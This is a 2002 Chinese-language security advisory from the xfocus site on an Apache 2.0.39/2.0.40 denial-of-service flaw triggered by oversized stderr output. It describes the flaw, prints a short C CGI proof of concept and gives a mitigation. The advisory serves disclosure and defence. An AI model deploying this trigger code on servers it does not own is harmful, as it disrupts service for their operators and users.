xfocus logo xfocus title
首页 焦点原创 安全文摘 安全工具 安全漏洞 焦点项目 焦点论坛 关于我们
English Version

Apache超长STDERR缓冲区导致拒绝服务攻击漏洞


发布时间:2002-09-27
更新时间:2002-09-27
严重程度:
威胁程度:远程拒绝服务
错误类型:意外情况处置错误
利用方式:服务器模式

BUGTRAQ ID:5787

受影响系统
Apache Software Foundation Apache 2.0.39
Apache Software Foundation Apache 2.0.40
详细描述
Apache当过多的数据写到stderr时可导致拒绝服务攻击。攻击者可以向APACHE服务器提交超过操作系统默认分配给stderr的缓冲区大小,可导致产生拒绝服务。

在Apache 2.0.39/2.0.40 LINUX上证实存在这个漏洞。

测试代码
// Credit to: K.C. Wong
#include <stdio.h>
#include <time.h>
#include <unistd.h>
#include <fcntl.h>

#define SIZE 4075

void out_err()
{
        char buffer[SIZE];
        int i = 0;

        for (i = 0; i < SIZE - 1; ++i)
                buffer[i] = 'a' + (char )(i % 26);

        buffer[SIZE - 1] = '\0';

//
fcntl(2, F_SETFL, fcntl(2, F_GETFL) | O_NONBLOCK);

        fprintf(stderr, "short test\n");
        fflush(stderr);

        fprintf(stderr, "test error=%s\n", buffer);
        fflush(stderr);
} // out_err()

int main(int argc, char ** argv)
{
        fprintf(stdout, "Context-Type: text/html\r\n");
        fprintf(stdout, "\r\n\r\n");
        out_err();
        fprintf(stdout, "<HTML>\n");
        fprintf(stdout, "<body>\n");
        fprintf(stdout, "<h1>hello world</h1>\n");
        fprintf(stdout, "</body>\n");
        fprintf(stdout, "</HTML>\n");
        fflush(stdout);
        exit(0);
} // main()

解决方案
限制WEB应用程序不写用户输入到stderr。

相关信息
shaddup@hush.com.
参考:http://online.securityfocus.com/archive/1/292953